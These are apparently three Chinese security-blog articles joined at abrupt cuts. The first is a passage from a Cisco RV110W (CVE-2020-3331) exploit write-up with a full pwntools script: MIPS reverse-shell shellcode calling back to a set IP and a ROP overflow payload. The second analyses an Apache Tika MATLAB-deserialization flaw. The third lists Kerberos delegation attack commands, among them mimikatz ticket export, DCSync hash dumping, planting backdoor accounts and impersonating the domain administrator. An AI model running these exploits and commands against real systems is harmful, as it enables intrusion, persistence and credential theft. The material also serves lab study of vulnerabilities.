a0,zero,-1这条指令会被莫名奇妙吞掉，所以多写了一条指令，来绕过这个奇怪的机制，实际测试过程中遇到\x00也会给截断，所以也需要绕00，这里测试过我的msf生成的是有00的，所以直接用轩哥推荐的shellcode[Linux/mips
- Reverse Shell Shellcode - 200 bytes by Jacob Holcomb](http://shell-storm.org/shellcode/files/shellcode-860.php)
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x2804ffff
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ◂— 0x109090c
SP 0x7fff1348 ◂— 0x61616161 ('aaaa')
PC 0x77a8f7a4 (fclose+308) ◂— move $t9, $s0
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18
► 0x77a8f7a4 <fclose+308> move $t9, $s0
↓
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│ a0 0x7fff1360 ◂— 0x2804ffff
... ↓
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77a8f7a4 fclose+308
**到这里a0已经变成了我们想要的地址了**
0x77aa7058 in xdr_free () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x7fff1360 ◂— 0x0
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1380 ◂— 0x1802027
SP 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x77aa7058 (xdr_free+24) ◂— jalr $t9
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77aa7050 <xdr_free+16> move $t9, $a0
0x77aa7054 <xdr_free+20> sw $v0, 0x18($sp)
► 0x77aa7058 <xdr_free+24> jalr $t9
0x77aa705c <xdr_free+28> addiu $a0, $sp, 0x18
0x77aa7060 <xdr_free+32> lw $gp, 0x10($sp)
0x77aa7064 <xdr_free+36> lw $ra, 0x30($sp)
0x77aa7068 <xdr_free+40> jr $ra
0x77aa706c <xdr_free+44> addiu $sp, $sp, 0x38
0x77aa7070 <xdr_void> jr $ra
0x77aa7074 <xdr_void+4> addiu $v0, $zero, 1
0x77aa7078 <xdr_long> lw $v1, ($a0)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ◂— 0x0
07:001c│ 0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77aa7058 xdr_free+24
──────────────────────────────────────────
0x7fff1364 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x73
A0 0x7fff1360 ◂— 0x0
A1 0x1
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x7fff1360 ◂— 0x0
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
PC 0x7fff1364 ◂— 0x2804ffff
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x7fff1360 nop
► 0x7fff1364 slti $a0, $zero, -1
↓
0x7fff136c syscall 0x42424
0x7fff1370 slti $a0, $zero, 0x1111
0x7fff1374 addiu $v0, $zero, 0xfa6
0x7fff1378 syscall 0x42424
0x7fff137c addiu $t4, $zero, -3
0x7fff1380 not $a0, $t4
0x7fff1384 addiu $v0, $zero, 0xfa6
0x7fff1388 syscall 0x42424
0x7fff138c addiu $t4, $zero, -3
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9 0x7fff1360 ◂— 0x0
07:001c│ pc 0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 7fff1364
成功执行shellcode，拿到shell
#coding:UTF-8
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux', log_level='debug')
io = listen(31337)
libc = 0x77a6a000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = "slti $a0, $zero, 0xFFFF\n"
shellcode += "slti $a0, $zero, 0xFFFF\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "slti $a0, $zero, 0x1111\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "li $v0, 4006\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $t4, 0xFFFFFFFD\n"
shellcode += "not $a0, $t4\n"
shellcode += "not $a1, $t4\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4183\n"
shellcode += "syscall 0x42424\n"
shellcode += "andi $a0, $v0, 0xFFFF\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "li $v0, 4041\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $a1, 0x6979\n"
shellcode += "ori $a1, 0xFF01\n"
shellcode += "addi $a1, $a1, 0x0101\n"
shellcode += "sw $a1, -8($sp)\n"
shellcode += "li $a1, 0x010A0A0A\n" #这里是需要改的IP地址
shellcode += "sw $a1, -4($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "li $t4, 0xFFFFFFEF\n"
shellcode += "not $a2, $t4\n"
shellcode += "li $v0, 4170\n"
shellcode += "syscall 0x42424\n"
shellcode += "lui $t0, 0x6962\n"
shellcode += "ori $t0, $t0,0x2f2f\n"
shellcode += "sw $t0, -20($sp)\n"
shellcode += "lui $t0, 0x6873\n"
shellcode += "ori $t0, 0x2f6e\n"
shellcode += "sw $t0, -16($sp)\n"
shellcode += "slti $a3, $zero, 0xFFFF\n"
shellcode += "sw $a3, -12($sp)\n"
shellcode += "sw $a3, -4($sp)\n"
shellcode += "addi $a0, $sp, -20\n"
shellcode += "addi $t0, $sp, -20\n"
shellcode += "sw $t0, -8($sp)\n"
shellcode += "addi $a1, $sp, -8\n"
shellcode += "addiu $sp, $sp, -20\n"
shellcode += "slti $a2, $zero, 0xFFFF\n"
shellcode += "li $v0, 4011\n"
shellcode += "syscall 0x42424"
shell = asm(shellcode)
# 覆盖s0 覆盖ra 最后将shellcode写进sp+0x18的位置
# 先jmp到s0在jmp到a0执行shellcode
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shell
#payload = "status_guestnet.asp"+'a'*49+p32(0xdeadbeef)
paramsPost = {
"cmac":"7a:29:9f:d3:d2:6e",
"submit_button":payload,
"cip":"192.168.1.1",
}
def attack():
try:
requests.post("http://10.10.10.3/guest_logout.cgi", data=paramsPost, verify=False)
except:
pass
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
#10A0A0A -> 10.10.10.1 LSB
#0x77aa7050 jalr $a0
#0x77a8f7a0 jalr $s0
shellcode我是改的回连地址，然后利用pwntools把汇编转成二进制在打进去，算是在轩哥的exp上做了些改动，感兴趣的师傅可以自己去调一下。
## docker搭建固件靶场环境
最后的docker环境部署，其实大概的架构是这样的
将qemu_system里的端口映射到docker里面，在从docker端口转发到宿主机，然后外网就能访问到qemu_system里的服务了，因为要外网访问，所以我们不使用方便调试的tap模式，直接使用net模式，启动脚本如下：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::80-:80,hostfwd=tcp::31337-:31337,hostfwd=tcp::1234-:1234 -nographic
转发了三个端口，一个是httpd的80，回连的31337，gdb调试的1234。
然后在qemu里写好启动脚本
#!/bin/sh
chroot squashfs-root sh start.sh
#!/bin/sh
export LD_PRELOAD="./nvram.so" && ./httpd //start.sh的内容
放到rc.local里面，就能自启动了。
在将文件提前保存进docker镜像里，然后写好dockerfile，打包上传至dockerhub即可
FROM vulshare/cve-2020-3331:lxonz
LABEL Author="lxonz"
WORKDIR /home/root/qemu_system_mipsel
CMD [ "/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh" ]
EXPOSE 31137
EXPOSE 80
EXPOSE 1234
这里要写好转发的端口，最后通过-P参数启动。
最后呢，因为qemu里我转发了1234端口，但是docker里没转发，如果想要调试的师傅可以自己转发一下
参考链接：
[1] <https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/>
[2] <https://blog.csdn.net/qq_21063873/article/details/103037515>
[3] <https://nosec.org/home/detail/4458.html> | 社区文章 |
seclists.org 在 2016.11.10 发布了一条消息，通告了一个存在于 Apache Tika 组件中的任意代码执行漏洞，编号为
cve-2016-6809 ，影响的范围是1.6-1.13版本
<http://seclists.org/bugtraq/2016/Nov/40>
tika 也是可以和 solr 整合到一起工作的
solr 影响的版本是：
Solr 5.0.0 to 5.5.4
Solr 6.0.0 to 6.6.1
Solr 7.0.0 to 7.0.1
本来是准备找好poc开始分析的，结果网上搜了一圈，只有如下信息
Description: Apache Tika wraps the jmatio parser (https://github.com/gradusnikov/jmatio) to handle MATLAB files. The parser uses native deserialization on serialized Java objects embedded in MATLAB files. A malicious user could inject arbitrary code into a MATLAB file that would be executed when the object is deserialized.
大意是 tika 包装了 jmatio 这个解析器去处理 matlab 文件，但是呢这个解析器使用了 java 本身自带的反序列化工具去处理镶嵌在
matlab 文件中的 java objects，我们可以向文件中注入恶意代码，所以在tika解析matlab文件时造成了任意代码执行
尴尬的是，并没有poc更别说exp了
只能自己动手
简单看了下，发现有三个地方可以让程序跑起来：
tika-app 里的 TikaCLI 和 TikaGUI
tika-server 里的 TikaServerCli
其中 TikaCLI 和 TikaGUI 都是本地开启的图形化窗口程序，一个是客户端，一个是服务端
TikaServerCli 是开启的类似于web网站api，绑定在9998端口（当然可以自行修改），如下
为了方便分析，我们直接选取本地的图形化窗口就行，我这里选的是 TikaGUI 作为调试程序
看看它的按钮对应的功能
跟进 addMenuItem
如上图，openfile已经被设置为 ActionCommand 了，并且增添了对应的监听器
那么我们去看看 action 是怎么执行的，查看 actionPerformed
如果我们点击的是 File 下的 Open... 的话，那么就会相应的调用 openFile 去加载我们选择的文件，继续跟进
这个 metadata 贯穿全局，一直都会用到，这里是将文件内容读取后交给了 handleStream 处理
将 input 处理后，交给了 parse 函数
这里的 parser 是在TikaGUI的main函数中已经确定
也就是说这里调用的 parse 函数是 DigestingParser 中的 parse
跟进去看看
这里又调用了父类的 parse 函数，它是继承于 ParserDecorator 的，跟进去
调用了 parser.parse ，看下 parser 是怎么初始化的
这其实在 DigestingParser 中调用过
parser 恰好是 main 中的 AutoDectectParser ，那么这儿就可以确定调用的是 AutoDectectParser 中的 parse
函数，跟进去
tis 就是之前选择的文件内容，metadata 新加入了文件的 MIME 信息
继续跟进父类 CompositeParser 的 parse 函数
如上图，他首先会用 metadata 去实例化一个 parser，然后判断 parser 的类型，在 metadata中添加一个 X-Parsed-By
hash，最后会调用 parser 的 parse 函数
但是第一次调用 getParser 的时候，默认会实例化一个名叫 DefaultParser 的类，然后调用它的 parse
函数，这个过程就不跟进了，处理结果是，又会调用CompositeParser 的parse函数，并且带入了 MIME 信息，所以第二次 getParser
的时候，会以 MIME 信息来实例化对应的 parser，由漏洞通报所述，对matlab文件的处理，就是 MatParser 了
此时 metadata 里的 X-Parsed-By：
跟进 MatParser 的 parse 函数
如上图中，先将 Content-Type 添加进了 metdata 中，tis 是提取的由源文件生成的 tmp 文件，然后将其信息带入
MatFileReader 的构造函数中，跟进去看看
（这里的 MatFileReader 其实就是 jmatio 解析器的文件读取类）
emm...其中有很多步直接略过了，直接来到MatFileReader 类中 read 函数中（MatFileReader->
MatFileReader->this.read)
在 read 函数中发现现了类似读取的操作：
这里的 buf 是 matlab 文件流
继续跟进 readData 函数
private void readData(ByteBuffer buf) throws IOException {
MatFileReader.ISMatTag tag = new MatFileReader.ISMatTag(buf);
switch(tag.type) {
case 14:
int pos = buf.position();
MLArray element = this.readMatrix(buf, true);
int red;
int toread;
if (element != null && !this.data.containsKey(element.getName())) {
this.data.put(element.getName(), element);
} else {
red = buf.position() - pos;
toread = tag.size - red;
buf.position(buf.position() + toread);
}
red = buf.position() - pos;
toread = tag.size - red;
if (toread != 0) {
throw new MatlabIOException("Matrix was not red fully! " + toread + " remaining in the buffer.");
}
break;
case 15:
int numOfBytes = tag.size;
if (buf.remaining() < numOfBytes) {
throw new MatlabIOException("Compressed buffer length miscalculated!");
}
InflaterInputStream iis = new InflaterInputStream(new ByteBufferInputStream(buf, numOfBytes));
byte[] result = new byte[1024];
HeapBufferDataOutputStream dos = new HeapBufferDataOutputStream();
try {
int i;
try {
do {
i = iis.read(result, 0, result.length);
int len = Math.max(0, i);
dos.write(result, 0, len);
} while(i > 0);
} catch (IOException var23) {
throw new MatlabIOException("Could not decompress data: " + var23);
}
} finally {
iis.close();
dos.flush();
}
ByteBuffer out = dos.getByteBuffer();
out.order(this.byteOrder);
try {
this.readData(out);
break;
} catch (IOException var21) {
throw var21;
} finally {
dos.close();
}
default:
throw new MatlabIOException("Incorrect data tag: " + tag);
}
}
ISMatTag 这个静态内部类很重要，因为 java 和 matlab 数据格式本身就不同，所以在java里需要读取 matlab
的数据的话，需要利用到Tag（标识），每用一次 ISMatTag ，就会读取文件中剩余部分的 Tag ，然后依次来判别更多的标识、数据格式等等
如上代码中，一进 readData 函数中，就获取了一次 Tag，然后根据其 type ，来进行不同的处理，其中 type 为 14
表示未压缩的数据，15表示已压缩的数据，如果是15，那么经过处理后，type会变成14，代码：
case 14:
int pos = buf.position();
MLArray element = this.readMatrix(buf, true);
这里将 buf 带入了 readMatrix 函数里，跟进去
private MLArray readMatrix(ByteBuffer buf, boolean isRoot) throws IOException {
int[] flags = this.readFlags(buf);
int attributes = flags.length != 0 ? flags[0] : 0;
int nzmax = flags.length != 0 ? flags[1] : 0;
int type = attributes & 255;
int[] dims = this.readDimension(buf);
String name = this.readName(buf);
if (isRoot && !this.filter.matches(name)) {
return null;
} else {
Object mlArray;
MatFileReader.ISMatTag tag;
MLStructure struct;
int maxlen;
int numOfFields;
String[] fieldNames;
String className;
int i;
MLArray fieldValue;
switch(type) {
这里可以确定的是 isRoot 为 true，所以第一个 if 判断，我们进入了 else 中
不过 readFlags、readDimension、 readName 都是利用 ISMatTag 读取出来的
type 也是由 ISMatTag 的信息计算得出
然后就进入了 switch 中，这里就真正开始解析一个 Tag 后的数据流了
switch 中用到的 数值都在 MLArray 中
如上图，这都是 matlab 中的数据格式
我们注意一下 mxOPAQUE_CLASS 格式的，那么这个到底对应的是啥呢
这里我们思考一下，这里整个都是一个读取文件的操作，那么对应的，在 jmatio中，肯定也有写入文件的操作
那么我们去网上找找这个 jmatio 的用法
写matlab文件的操作：
这里就很明显了，double的二维数组，可以对应 MLDouble ,我们查看一下这个类
无论是调用的哪一个构造函数，都会最终调用父类 MLNumbericArray 的构造函数，并且type都是6，那么我们跟进去看看，这个 type 究竟是什么
又调用了父类 MLArray 中的构造函数，并且传递了 type，继续跟
存在了type变量中
回想一下之前所说，switch用到的 type 是和 MLArray 中的那一串常量有关系的
并且进入switch的type是由Tag计算得出，写入的时候得先指定 MLDboule
类型，读取的时候也应该先获取它的类型，然后再根据其类型进行具体的操作。
那么这里猜测 switch的type 就是指的 MLDouble 构造函数里的type，那么我们去查看一下 MLArray 有哪些继承类
有一个显眼的 MLJavaObject 类，看看
可以看见它的构造函数第一句就调用了父类的构造函数，并且将type设置为了 17
这一看就是将 java object 写入matlab文件的操作
那么这就和之前的对应起来了，mxOPAQUE_CLSS 对应的就是 17
现在继续跟进 readMatrix 函数，我们需要反序列化，肯定type是17，那么就去看看 case 17
className 从对应的 Tag 信息里获取，也是对应刚刚看到的MLJavaObject里的 className，arrName 对应
MLJavaObject 里的 name，用于方便 matlab 里调用（可以认为matlab里的变量名就是 arrName ）
然后又将 buf 传入了 readMatrix 函数里，不过这次将 isRoot 设置为false了，由这里可以得知，真正的序列化后的数据流是以 UInt8
的格式存储的，这里就不跟入了，原理和跟入 case 17 是一样的
得到content后，将其处理为 ObjectInputStream 类型，紧接着就进行反序列化操作了
如果 matlab文件的内容是我们精心构造的，就可以触发代码执行
因为有对应的写入matlab文件操作，所以想着是利用 jmatio 自带的写入操作去生成含有payload的文件的，结果仔细一看，他并没有实现 java
object 类型写入，还有一些类型的写入同样没有实现，然后晃了一眼 jmatio，是 1.0 的，想去找找最新版本，看看有没有实现来着，结果同样的没有实现
那么，这个时候有两种办法：
1. 自己去实现它的 java object 类型写入
2. 用matlab直接生成一个 java object 然后存进一个mat文件里，但是这个洞的触发是因为是用的 jmatio 去解析 mat文件，所以不知道 matlab 生成的 mat 文件，他是否能准确识别
emmm，说来比较尴尬，因为比较懒所以不想搭matlab环境，然后尝试着自己去实现这个 java
object的写入操作......但是由于水平有限，只是分析出了该怎么写，然鹅写不出来.....
所以和小伙伴@0v0商量着用 matlab 来搞payload
经过简单测试，matlab里的int数组类型存入 .mat 文件后，在经过 jmatio 解析文件是ok的
所以着手payload的构造
所需工具：
matlab 2006b 以上版本，具体不知道，测试的时候用的是 2016
为了方便测试，我们就选择 commons-collections 爆的代码执行了，选择的是 3.2 版本
编写 payload：
instance 成员变量是为了 matlab 里方便进行存入 .mat 文件的操作，其他地方都一样
调用 seria 的时候，对象的 instance 变量就已经赋值成了 AnnotationInvocationHandler 了，那么在 matlab
里，存入这个 instance 的话， .mat 文件内容就是 instance 的序列化
（matlab 生成 .mat 文件时，会自动将变量进行序列化操作）
写好 payload 后，将其打包成 jar 包，然后在 matlab 里设置一下，让其可以引用这个 jar 包
打开 matlab
此时已经在桌面上生成了 test.mat 文件，内容就是 h.instance
为了初步验证 test.mat 含有我们的payload，我们在 matlab 里进行load一次，去加载这个文件
成功弹了，说明payload确实存在的
现在我们去 tika 里试试，直接用本地gui吧
（注：需要自行添加 commons-collections ，tika 是没有使用这个的）
(附上 test.mat )
使用jmatio读写matlab数据文件：<https://www.cnblogs.com/lz3018/p/5210443.html> | 社区文章 |
## 前言
本篇文章主要是对域渗透中的Kerberos委派攻击的利用手法进行简单的总结。
( **可能思路狭隘，有缺有错，师傅们多带带** )
域委派是指，将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种，一种是 **主机账户**
，另一种是 **服务账户** (域用户通过注册SPN也可以成为服务账号)。
Kerberos委派主要分为三种：
> **非约束委派(Unconstrained Delegation)**
> **约束委派(Constrained Delegation)**
> **基于资源的约束委派(Resource-Based Constrained Delegation)**
非约束委派和约束委派的流程，有兴趣的师傅可以去看看[微软的手册](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
"微软的手册")。
下面简单介绍下Kerberos的各类委派， **如何配置** ， **如何发现** ， **实战场景中如何利用** 。
## 非约束委派
### 概述
当域用户访问域内某服务时，如果该服务开启了非约束委派，用户会主动将自己已转发的的TGT发送服务，而该服务会将用户的TGT保存在内存以备下次重用，然后服务就可以利用该已转发的TGT以用户的身份访问该用户能访问的服务。非约束委派的安全问题就是如果我们找到配置了非约束委派的主机，并且通过一定手段拿下该主机的权限，我们就可以拿到所有访问过该主机用户的TGT。
### 如何配置和发现非约束委派的主机
配置：
查找：
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
### 利用场景
#### 被动
当我们在域内拿到一台配置了非约束委派的主机后，就可以使用mimikatz导出所有票据，若是有其他用户访问过该主机，那么我们就可以通过ptt获取该用户权限。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
kerberos::ptt
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
当然我们也可以诱导域管访问该主机，例如通过给管理员发诱饵文件修改Desktop.ini，或是outlook等等。详情可参考[daiker师傅的发起NTLM请求](https://daiker.gitbook.io/windows-protocol/ntlm-pian/5 "daiker师傅的发起NTLM请求")。
域管在域控上点击此文件夹是就会访问win7，导出域管的TGT，ptt，psexec域控。
#### 非约束委派+Spooler打印机服务
在实战中，被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派+Spooler 打印机服务可以强制指定的主机进行连接。
利用原理：利用 Windows 打印系统远程协议 (MS-RPRN) 中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用 MS-RPRN
RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过
Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
POC: <https://github.com/leechristensen/SpoolSample>
在WIN7主机上运行该工具，强制域控向WIN7发起认证，然后导出票据，可以看到已经获取了DC2012$的TGT，符合DCSync的利用条件
**[域控制器计算机帐户]** ：
kerberos::ptt xxxx.kirbi
lsadump::dcsync /domain:0ne.test /all /csv
## 约束委派
### 概述
由于非约束委派的不安全性，微软在windows
server2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U。其中S4U支持两个子协议：
* Service for User to Self( **S4U2self** )
* Service for User to Proxy( **S4U2proxy** )
这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)；S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。配置它后，约束委派将限制指定服务可以代表用户去访问服务。该设置需要`SeEnableDelegation`特权，该特权很敏感，通常仅授予域管理员。
约束委派的安全问题就是如果我们找到配置了约束委派的服务账号，并且通过一定手段拿下该服务账号。我们就可以利用这个服务账号代表任意用户进行S4U2self获得一个可转发的票据，然后把获取到的票据用于S42proxy(作为AddtionTicket)，从而获取一个可转发的TGS，服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务)。
### 如何配置和发现约束委派的服务
配置：
查找：
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
也可以使用impacket工具包`findDelegation.py`找出所有的委派配置。
findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456
### 利用场景
#### 后门
约束委派可以作为变种黄金票据，用作后门权限维持。
给后门账户[知道密码或是hash就成]注册SPN:
setspn -U -A variant/golden lisi
配置后门账户到域控的约束委派：
使用impactet工具包中的getST.py[其他工具也成]，模拟域管理员administrator账号申请访问域控的ldap服务的ST。
getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx
ptt，然后wmiexec到域控获取权限，或是secretsdump后随时随地pth域控：
export KRB5CCNAME=administrator.ccache
klist
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]
secretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administrator
wmiexec.py 0ne/[email protected] -hashes xxxxx:xxxxxxx
#### 横向
打下配置了约束委派的服务账号，我们就可以拿下被配置的约束委派的服务(A->B)。
和上述利用方式一致：用A账号getST模拟administrator获取访问B的ST，ptt，wmiexec。
## 基于资源的约束委派
### 概述
配置约束委派，必须拥有`SeEnableDelegation`特权，该特权很敏感，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server
2012中引入了基于资源的约束委派。
传统的约束委派是"正向的"，通过将service2的SPN添加到service1的`msDS-AllowedToDelegateTo`属性中，并且配置service1的`TrustedToAuthenticationForDelegation`属性为true。传统的约束委派S4U2self返回的票据一定是可转发的，如果不可转发那么S4U2proxy将失败；但是基于资源的约束委派不同，就算S4U2self返回的票据不可转发，S4U2proxy也是可以成功，并且S4U2proxy返回的票据总是可转发。
同时基于资源的约束委派(RBCD)配置则是相反的，通过将service1的SID添加到service2的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性中，就可以达到相同目的。
基于资源的约束委派具有传统的约束委派的所有安全问题，因为我们只需要拥有修改`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的权限，所以RBCD的利用比较于传统的约束委派场景多也简单。
默认情况下以下账户拥有修改`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的权限：
* **Domain Admins** (域管理员)
* **mS-DS-CreatorSID** (将该机器加入域的账户)
* **NT AUTHORITY\SELF** (机器账户本身)
RBCD的利用条件：
* 能修改`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的权限
* 一个具有SPN的账户的TGT
### 利用场景
针对上述情况可衍生的利用场景。
#### 后门
需要域管理员权限，修改krbtgt或是域控的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性，加入已知后门账户的SID。 **`Domain Admins`**
使用ActiveDirectory模块，域控2012及以上默认安装。
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisi
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456
wmiexec.py -dc-ip 192.168.17.134 -no-pass -k [email protected]
Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisi
Get-ADComputer DC2012 -Properties PrincipalsAllowedToDelegateToAccount
getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi:ls@123456
#### 横向
A配置了到B的RBCD，打下A就可以打下B。 **`和约束委派横向利用场景一致`**
某公司有专门加域的域用户A或是其有添加过多台机器入域，获取该账户的权限后，可利用基于资源的约束委派修改机器属性，批量获取机器权限。 **`mS-DS-CreatorSID`**
如果我们想拿域内机器A的权限，如果我们又没有机器A的administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户A依然可以获取权限。
**`mS-DS-CreatorSID`**
假如张三就是上述用户A。
如何查找类似的用户，非域管加域机器才会有`mS-DS-CreatorSID`属性：
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
AdFind.exe -b "DC=0ne,DC=test" -f "(&(objectsid=S-1-5-21-xxxxxxxx))" objectclass cn dn
win7和web01的`mS-DS-CreatorSID`的值相同，都是被zhangsan加入域。
